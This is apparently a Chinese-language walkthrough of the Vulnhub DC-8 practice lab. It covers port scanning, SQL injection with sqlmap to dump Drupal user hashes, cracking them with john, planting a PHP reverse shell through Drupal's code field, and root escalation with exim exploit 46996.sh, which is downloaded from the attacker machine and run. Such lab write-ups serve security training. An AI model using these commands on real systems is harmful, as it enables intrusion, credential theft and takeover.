【Vulnhub系列】Vulnhub靶场_DC-8
【Vulnhub系列靶场】Vulnhub_DC-8靶场渗透
一、环境配置
从百度网盘下载
在vm中【打开】,并选择位置,可以不用输入名称
打开靶机运行之后,更改网络适配器为NAT即可。
二、信息收集
1、主机发现
2、端口扫描
1、可以先用-F 参数进行粗略的快速探测
2、之后再进行精细探测
1 | nmap.exe -sT --min-rate 10000 -p- 192.168.31.58 #以最小10000速率进行TCP全端口扫描 |
只有TCP开放了22、80端口。
3、用默认脚本对开放的22、80端口在进行全扫描
1 | nmap.exe -sT -sV -sC -O -p22,80 192.168.31.58 |
确认是一个linux操作系统。
4、用漏洞脚本对开放端口进行漏洞探测
1 | nmap.exe --script=vuln -p22,80 192.168.31.58 |
并未发现有用的漏洞,只进行了一些目录探测
3、web漏洞探测
访问一下web目录
在kali中用whatweb 识别web框架
有关Drupal 7 的相关漏洞有很多现成的利用方式,可用searchsploit 进行搜索。
1 | searchsploit.cmd Drupal 7 |
但是利用方式分具体的版本信息,我们暂时还不知道版本的信息。
4、web目录探测
1 | dirsearch.cmd -u http://192.168.31.58 -x 404,403 #过滤掉404,403的响应 |
三、获取shell立足点
1、查看敏感目录文件
1、robots.txt文件:并没有太多有用的信息,只给了一些目录及文件。
2、install.php文件:看名字是一个安装文件,有重装网站的风险,但是依然无用。
提示要么在数据库中删除现有的数据库信息,要么在settings.php 文件中重新配置成新的数据库。
3、web.config文件:在源代码中看到在首页index.php文件有一个q的参数接口。
在几次的尝试之后发现是一个指路的参数。
4、xmlrpc.php文件:一个奇怪的文件名,查看是一个xml-rpc服务,且需要post提交
用HackBar 简单的进行一个post提交,提示格式不正确,感觉可能存在xml注入。
上网搜索有关xml-rpc服务相关的漏洞,确实有很多相关漏洞,后面可以再自行研究。
2、发现SQL注入
我们点击左侧一篇文章之后,发现上方有一个有一个参数nid
在加上一个单引号’ 之后出现报错,SQL注入的典型特征
为了加快速度,我们直接用sqlmap 去跑,很快出现了结果
1 | sqlmap.cmd -u "http://192.168.31.58/?nid=1" --batch |
之后一步步去爆破数据。
1 | sqlmap.cmd -u "http://192.168.31.58/?nid=1" --batch -D d7db -T users -C uid,main,name,pass --dump |
爆破出来两个账户,密码经过了加密。
3、登录后台
将账号密码保存下来,用john 破解工具破解账号密码。
john账号的密码很快就能破解出来
那我们先登录john 的账号(在之前的web目录扫描中知道登录的后台地址/user/login)
成功登录后台。
4、反弹shell
在Drupal 后台中有一个可以执行php代码的地方,是这个框架的一个必须的检测点。
在如下的这个地方:
如下切换成php代码。是一个提交意见之后的感谢语。
在我们的shell反弹网站中找一个phpshell反弹的代码,粘贴上去后在下方保存,并监听本地的4444端口。
之后返回,去写一个意见提交,拿到shell。
这里如果失败可以多试几次,退出登录、刷新页面等(最好在一个页面上操作)
四、提权至root
1、查找SUID文件
1 | find / -perm -u=s -type f 2>/dev/null |
可以看到exim4,低版本的exim4是可以提权的。
查看exim4的版本信息:4.89确认在可提权的版本范围内。
1 | exim4 --version |
2、exim4提权
1、查找可本地提权脚本:
1 | searchsploit.cmd exim 4 | findstr Local #通过findstr Local进行筛选 |
2、查看脚本的利用方式
我们可以在右侧找到searchsploit这个工具,双击进去它的目录,找到这个脚本并复制出来。
进行复制
1 | cp exploits/linux/local/46996.sh /c/Users/Administrator/Desktop/test/ |
回到windows中用sublime来打开该脚本
3、解析该脚本
如果不懂sh脚本的代码,可以直接让gpt进行分析
简而言之,该脚本有两个利用方法
1 | ./46996.sh -m setuid |
3、提权至root
1、将该脚本上传至靶机,本地开启http服务
1 | python3 -m http.server |
2、在靶机的/tmp 目录下进行下载,/tmp目录任何人都有下载执行权限
1 | wget http://192.168.31.50:8000/46996.sh |
3、给该脚本执行权限
1 | chmod +x 46996.sh |
4、执行提权
1 | ./46996.sh -m netcat #提权成功 |